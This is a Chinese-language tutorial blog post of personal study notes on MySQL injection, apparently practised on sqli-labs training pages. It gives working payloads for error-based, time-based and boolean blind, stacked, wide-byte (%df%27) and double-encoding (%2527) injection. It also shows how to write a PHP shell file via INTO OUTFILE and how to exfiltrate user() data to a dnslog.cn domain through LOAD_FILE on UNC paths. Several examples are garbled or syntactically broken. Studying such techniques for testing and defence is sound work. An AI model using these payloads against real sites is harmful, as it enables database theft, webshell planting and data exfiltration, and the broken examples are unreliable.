前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >mysql注入-一般方法篇

mysql注入-一般方法篇

作者头像
h0cksr
发布2023-05-16 13:22:35
6580
发布2023-05-16 13:22:35
举报
文章被收录于专栏:h0cksr的小屋h0cksr的小屋

一个很久之前学习mysql注入的笔记

(1)增删改查语句
  1. Insert : insert into mrkaixin values( ‘ 1’ , ‘ nepnep’);
  2. Delete : delete from mrkaixin where xXXX;
  3. Update : update mrkaixin set name = ‘x’ where id = 3;
  4. Select : select * from mrkaixin: (2)Mysql的常用的变量(函数)
  5. Database() /查看当前数据库名 2.User() 1/用户 3.Version() / mysql 版本 4.@@basedir /安装路径 (3)Mysql的常用的符号逻辑运算符: 1.& and 2.ll or 3.xor Mysql的常用的函数 字符串截取函数 ·Substr(截取的原字符串:database(),截取的开始位置:1,截取长度:1) Substring ·Mid(database(),1,1) ·Left(database(),1) ·right(database(),1) 编码函数 Ascii() Hex()z ord() Char()/ascii()的逆函数 文件函数 Load_file()/读取文件内容
  6. 连接数据库:D:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26\bin>mysql -h127.0.0.1 -p8090 -u root -p123456
  7. 查询mysql版本
  8. 查询当前用户名
  9. 查询所有库名
  10. 使用数据库
  11. 查询当前库名
  12. 查询数据库所有表名
  13. 查询表中所有内容
  14. 查询表中指定内容
  15. 创建库
  16. 创建表(同时要声明表的内容字段)
  17. 在表中新增(插入数据内容)
  18. 修改表里的数据内容
  19. 查询表里的数据结构和字段的类型

describe(select * from animal);

  1. 删除数据
  2. 常见注释符: %23(#),–+,;%00
  3. 报错注入 Tips:报错有长度限制32位(通过substring等截取字符段分开多次注入即可得到全部内容) updatexml更新xml文档 正规的使用:Select from users where id =1 and updatexml(文档,正确的路径 ,更新的内容) 示例:Select from users where id =1 and updatexml(0x0a,(select database()),’1’) 原理:将报错的内容改为要输出的内容 注:0x0a表示换行,0x7e表示~

Extractvalue:对xml文档进行查询 语法:extractvalue(文档类型,xpath路径)

  1. 时间盲注 法一:sleep()——————————————————————————— 示例:Select * from users and if(ascaii(substr(database())<1,1,1),sleep(3),0) Tips:if(expr1,expr2,expr3)语句作用为如果expre1为真则返回expr2,为假返回expr3 原理:将要测试的内容条件作为expr1,如果为真就会有延时,为假就不延时,是否延时可以在burp的repeater右下角看到返回时间判断 例如示例作用为判断库名第一个字母ascaii值,可以通过返回结果逐个判断得到完整的库名 法二:-benchmark()————————————————————————– 示例:Select benchmark(1000000000,sha(1)); 原理:通过执行大量次数的操作造成延时,示例效果为执行1000000000次sha(1)命令造成延时,可以作为返回的判断效果 法三:笛卡尔积———————————————————————————
  2. 布尔盲注
  3. 示例:Select * from users and (ascaii(substr(database())<1,1,1)) 作用:根据返回结果的差异判断条件是否满足,作用效果和上面的时间盲注示例一样
  4. 堆叠注入 示例1(在mysql里面):select from users and select from animal; 结果:只返回一个结果 示例2(在mysql里面):select from users;select from animal; 结果:返回两个结果 可以使用;来堆叠注入的php代码:http://5cbc194a-8dc1-4831-a1fa-4e803e9ad31a.node3.buuoj.cn/的第一关

不能使用;来堆叠注入的php代码:http://5cbc194a-8dc1-4831-a1fa-4e803e9ad31a.node3.buuoj.cn/的第三十八关

区别:mysqli_query和mysqli_mutil_query

  1. 文件读写 Tips:默认情况下mysql是不允许文件读写的,要修改配置文件
  2. 打开phpstudy的设置板块,选择配置文件,点击进入 在配置文件[mysqld]里面加入:secure-file-priv=Null(或去掉NULL直接留空)
  3. 重启mysql导入配置 读取文件操作(mysql里面):load_file(‘文件路径’) 示例:load_file(“D:\temp\1.txt”)

写文件操作(mysqlsql里面): Into outfile ‘绝对路径’ Into dumpfile ‘绝对路径’ 区别:into outfile函数会在末端写入新行而且会转义字符,所以用into outfile写一些dll或其他二进制文件,那么这个文件可能会被破坏 可以用into dumpfile导出一个完整能执行的二进制文件 使用条件:1.设置好了配置文件secure-file-priv=Null

  1. 使用绝对路径
  2. 文件不存在
  3. 有权限 示例:…../?id=1’ union select 1,database(),3 into outfile(或者dumpfile) “D:\1.txt”# 效果:得到的内容会写入输出到新建的D:\1.txt文件里面 写shell 如果知道web服务器路径,我们可以写入shell 示例:/?id=-1′ union select 1,’<?php phpinfo(); ?>’,3 into OUTFILE "H.1phpstudy.prolWWW\cms\Sali.Edited..Version\sqlilabs\Less-7\lshell.php"–+ 效果:将php信息全部写入到指定的文件里 23.DNSLOG UNC路径—————————————————————————————- 格式:\servername\sharename Servename为服务器名,sharename为共享资源名称 UNC路径使用方法测试———————————————————————— 在Win+R窗口输入一个UNC路径(一个文件名):\要传输的内容.DNSLOG获得的域名\abc 或者:在CMD窗口输入:ping \要传输的内容.DNSLOG获得的域名\abc’ 然后在DNSLOG平台刷新获取记录就可以看到:传输的内容.DNSLOG获得的域名 原理:根据此原理,用load_file ’构造好的文件名’尝试打开一个指定构造的UNC文件即可在DNSLOG平台看到传输的内容

第一步:打开DNSLOG平台获得一个域名 第二步:用load_file ’文件路径’读取一个文件名为:\要传输的内容.DNSLOG获得的域名\abc的文件 操作示例:select * from users load_file ‘\test.DNSLOG获得的域名\abc’

示例:http:/localhost/Less-38/?id=-1; select 1,2,LOAD_FILE(GROUP_CONCAT(‘\\’,substr(user(),2,1),’7jto34.dnslog.cn\abc’);-+ 解释:GROUP_CONCAT(‘\\’,substr(user(),2,1),’.7jto34.dnslog.cn\abc’))的作用是合成一个字符串’\o.7jto34.dnslog.cn\abc’ 原因:’\\’表示两个解除转义的’\’,其中user()为root,substr(要截取的字符 串:root,开始位置:2,截取长度:1)函数运行后截取root的第2个字符’o’,’ 7jto34.dnslog.cn’为DNSLOG平台获得的域名

  1. 宽字节注入 条件:sql注入解析使用的是gbk编码,utf-8不行 代码分析: addslashes函数将会在一些危险字符(包括’和#)面前加入一个反斜杠\ 传入sql注入语句为gbk参数可用宽字节注入 难点: 要闭合单引号,但是传入的单引号会被加一个\从而变成一个字符失去闭合效果 Payload:?id=%df%27 payload分析:%27为单引号所以addslashes函数会在%27前面加一个\得%df\%27 \的url编码为%5c编码后得到%df%5c%27 %df%5c解码后会得到一个繁体字的运 ,从而%27单引号逃逸出来,变成运’
  2. 二次编码注入 前提知识:
  3. mysql_real_escape_string(string, connection)函数会在[\x00],[\n],[\r],[],[’],[”],[\x1a]这七个字符出现的前面加一个反斜杠\ 绕过Tips注:想要绕过这个函数,在linux下的mysql表明列名是忽略大小写的但是账号密码区分大小写,当为登录类型的注入是,password和username都是列名,可以忽略大小写,利用这点绕过mysql_real_escape_string函数;或者当存在二次编码时可利用像例题一样的方式绕过 2.urldecode()函数会将参数进行url解码

Payload中%2527不在escape函数排查的字符里面,而%25解码后得到的就是%所以%2527变成%27,是一个单引号’

  1. SQL注入总结的平台
  2. 无列名注入(知道库名表名即可) 错误:mysql> select 1,(select group_concat(1) from(select 1,2,3 union select from test.animal)x); 正确:mysql> select 1,(select group_concat(a) from(select 1 as a,2 as b,3 union select from test.animal)x); 正确:mysql> select 1,(select group_concat(‘1’) from(select 1,2,3 union select * from test.animal)x);

贴一张来自https://blog.csdn.net/Fly_hps/article/details/80646151 的注入导图:

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2021-11-05 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • (1)增删改查语句
相关产品与服务
腾讯云代码分析
腾讯云代码分析(内部代号CodeDog)是集众多代码分析工具的云原生、分布式、高性能的代码综合分析跟踪管理平台,其主要功能是持续跟踪分析代码,观测项目代码质量,支撑团队传承代码文化。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档